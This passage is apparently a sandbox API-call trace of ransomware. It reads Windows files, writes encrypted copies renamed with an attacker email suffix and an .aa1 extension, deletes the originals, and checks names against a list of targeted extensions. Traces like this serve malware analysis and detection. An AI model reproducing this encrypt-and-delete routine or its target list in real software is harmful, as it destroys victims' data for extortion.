hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0201.294] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0201.294] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0201.295] GetLastError () returned 0x0 [0201.295] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x1915, lpOverlapped=0x0) returned 1 [0201.322] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1920, lpOverlapped=0x0) returned 1 [0201.324] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0201.324] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0201.324] SetEndOfFile (hFile=0x1ac) returned 1 [0201.324] CloseHandle (hObject=0x1ac) returned 1 [0201.325] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0201.325] SetEndOfFile (hFile=0x19c) returned 1 [0201.326] CloseHandle (hObject=0x19c) returned 1 [0201.326] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0201.327] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0201.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0201.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0201.770] lstrlenW (lpString=".doc") returned 4 [0201.771] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.771] lstrlenW (lpString=".docx") returned 5 [0201.771] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0201.771] lstrlenW (lpString=".pdf") returned 4 [0201.771] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.771] lstrlenW (lpString=".xls") returned 4 [0201.771] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.771] lstrlenW (lpString=".xlsx") returned 5 [0201.771] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0201.771] lstrlenW (lpString=".ppt") returned 4 [0201.771] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0201.771] lstrlenW (lpString=".zip") returned 4 [0201.771] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.771] lstrlenW (lpString=".rar") returned 4 [0201.771] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.771] lstrlenW (lpString=".bz2") returned 4 [0201.771] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.771] lstrlenW (lpString=".7z") returned 3 [0201.772] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0201.772] lstrlenW (lpString=".dbf") returned 4 [0201.772] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0201.772] lstrlenW (lpString=".1cd") returned 4 [0201.772] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0201.772] lstrlenW (lpString=".jpg") returned 4 [0201.772] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0201.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0201.772] lstrlenW (lpString=".doc") returned 4 [0201.772] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.772] lstrlenW (lpString=".docx") returned 5 [0201.772] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0201.772] lstrlenW (lpString=".pdf") returned 4 [0201.772] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.772] lstrlenW (lpString=".xls") returned 4 [0201.773] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.773] lstrlenW (lpString=".xlsx") returned 5 [0201.773] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0201.773] lstrlenW (lpString=".ppt") returned 4 [0201.773] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0201.773] lstrlenW (lpString=".zip") returned 4 [0201.773] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.773] lstrlenW (lpString=".rar") returned 4 [0201.773] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.773] lstrlenW (lpString=".bz2") returned 4 [0201.773] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.773] lstrlenW (lpString=".7z") returned 3 [0201.773] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0201.773] lstrlenW (lpString=".dbf") returned 4 [0201.773] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0201.773] lstrlenW (lpString=".1cd") returned 4 [0201.773] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0201.774] lstrlenW (lpString=".jpg") returned 4 [0201.774] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.774] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0201.774] lstrlenW (lpString="Office32WW.xml") returned 14 [0201.774] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0201.775] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=4274) returned 1 [0201.775] CloseHandle (hObject=0x15c) returned 1 [0201.776] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0201.776] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0201.777] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0201.777] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0201.777] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0201.777] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0201.777] GetLastError () returned 0x0 [0201.777] ReadFile (in: hFile=0x15c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x10b2, lpOverlapped=0x0) returned 1 [0201.861] WriteFile (in: hFile=0x164, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0202.689] ReadFile (in: hFile=0x15c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0202.689] WriteFile (in: hFile=0x164, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0202.689] SetEndOfFile (hFile=0x164) returned 1 [0202.753] CloseHandle (hObject=0x164) returned 1 [0202.757] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0202.757] SetEndOfFile (hFile=0x15c) returned 1 [0202.758] CloseHandle (hObject=0x15c) returned 1 [0202.758] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0202.759] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0202.759] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0202.759] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0202.759] lstrlenW (lpString=".doc") returned 4 [0202.759] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0202.759] lstrlenW (lpString=".docx") returned 5 [0202.759] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0202.759] lstrlenW (lpString=".pdf") returned 4 [0202.759] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0202.760] lstrlenW (lpString=".xls") returned 4 [0202.760] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0202.760] lstrlenW (lpString=".xlsx") returned 5 [0202.760] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0202.760] lstrlenW (lpString=".ppt") returned 4 [0202.760] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0202.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0202.760] lstrlenW (lpString=".zip") returned 4 [0202.760] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0202.760] lstrlenW (lpString=".rar") returned 4 [0202.760] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0202.760] lstrlenW (lpString=".bz2") returned 4 [0202.760] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0202.760] lstrlenW (lpString=".7z") returned 3 [0202.760] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0202.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0202.760] lstrlenW (lpString=".dbf") returned 4 [0202.760] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0202.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0202.760] lstrlenW (lpString=".1cd") returned 4 [0202.760] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0202.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0202.760] lstrlenW (lpString=".jpg") returned 4 [0202.760] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0202.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0202.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0202.760] lstrlenW (lpString=".doc") returned 4 [0202.760] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0202.760] lstrlenW (lpString=".docx") returned 5 [0202.760] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0202.760] lstrlenW (lpString=".pdf") returned 4 [0202.760] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0202.761] lstrlenW (lpString=".xls") returned 4 [0202.761] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0202.761] lstrlenW (lpString=".xlsx") returned 5 [0202.761] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0202.761] lstrlenW (lpString=".ppt") returned 4 [0202.761] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0202.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0202.761] lstrlenW (lpString=".zip") returned 4 [0202.761] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0202.761] lstrlenW (lpString=".rar") returned 4 [0202.761] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0202.761] lstrlenW (lpString=".bz2") returned 4 [0202.761] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0202.761] lstrlenW (lpString=".7z") returned 3 [0202.761] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0202.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0202.761] lstrlenW (lpString=".dbf") returned 4 [0202.761] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0202.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0202.761] lstrlenW (lpString=".1cd") returned 4 [0202.761] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0202.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0202.761] lstrlenW (lpString=".jpg") returned 4 [0202.761] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0202.762] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0202.762] lstrlenW (lpString="MS.GIF") returned 6 [0202.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0202.762] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1069) returned 1 [0202.762] CloseHandle (hObject=0x15c) returned 1 [0202.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0202.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0202.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0202.762] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0202.762] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0202.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0202.763] GetLastError () returned 0x0 [0202.763] ReadFile (in: hFile=0x15c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x42d, lpOverlapped=0x0) returned 1 [0202.853] WriteFile (in: hFile=0x164, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x430, lpOverlapped=0x0) returned 1 [0202.854] ReadFile (in: hFile=0x15c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0202.854] WriteFile (in: hFile=0x164, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0202.854] SetEndOfFile (hFile=0x164) returned 1 [0202.854] CloseHandle (hObject=0x164) returned 1 [0202.857] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0202.857] SetEndOfFile (hFile=0x15c) returned 1 [0202.858] CloseHandle (hObject=0x15c) returned 1 [0202.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0202.858] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0202.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0202.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0202.859] lstrlenW (lpString=".doc") returned 4 [0202.859] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0202.859] lstrlenW (lpString=".docx") returned 5 [0202.859] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0202.859] lstrlenW (lpString=".pdf") returned 4 [0202.859] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0202.859] lstrlenW (lpString=".xls") returned 4 [0202.859] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0202.859] lstrlenW (lpString=".xlsx") returned 5 [0202.859] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0202.859] lstrlenW (lpString=".ppt") returned 4 [0202.859] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0202.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0202.859] lstrlenW (lpString=".zip") returned 4 [0202.859] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0202.859] lstrlenW (lpString=".rar") returned 4 [0202.859] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0202.859] lstrlenW (lpString=".bz2") returned 4 [0202.860] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0202.860] lstrlenW (lpString=".7z") returned 3 [0202.860] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0202.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0202.860] lstrlenW (lpString=".dbf") returned 4 [0202.860] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0202.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0202.860] lstrlenW (lpString=".1cd") returned 4 [0202.860] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0202.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0202.860] lstrlenW (lpString=".jpg") returned 4 [0202.860] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0202.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0202.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0202.860] lstrlenW (lpString=".doc") returned 4 [0202.860] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0202.860] lstrlenW (lpString=".docx") returned 5 [0202.860] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0202.860] lstrlenW (lpString=".pdf") returned 4 [0202.860] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0202.860] lstrlenW (lpString=".xls") returned 4 [0202.860] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0202.860] lstrlenW (lpString=".xlsx") returned 5 [0202.861] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0202.861] lstrlenW (lpString=".ppt") returned 4 [0202.861] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0202.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0202.861] lstrlenW (lpString=".zip") returned 4 [0202.862] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0202.862] lstrlenW (lpString=".rar") returned 4 [0202.862] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0202.862] lstrlenW (lpString=".bz2") returned 4 [0202.862] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0202.863] lstrlenW (lpString=".7z") returned 3 [0202.863] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0202.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0202.863] lstrlenW (lpString=".dbf") returned 4 [0202.863] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0202.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0202.864] lstrlenW (lpString=".1cd") returned 4 [0202.864] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0202.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0202.864] lstrlenW (lpString=".jpg") returned 4 [0202.864] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0202.865] lstrcmpiW (lpString1=".avi", lpString2=".aa1") returned 1 [0202.865] lstrlenW (lpString="boxed-correct.avi") returned 17 [0202.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0203.368] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=89600) returned 1 [0203.368] CloseHandle (hObject=0x184) returned 1 [0203.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0203.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0203.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0203.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0203.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0203.368] lstrlenW (lpString=".doc") returned 4 [0203.368] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 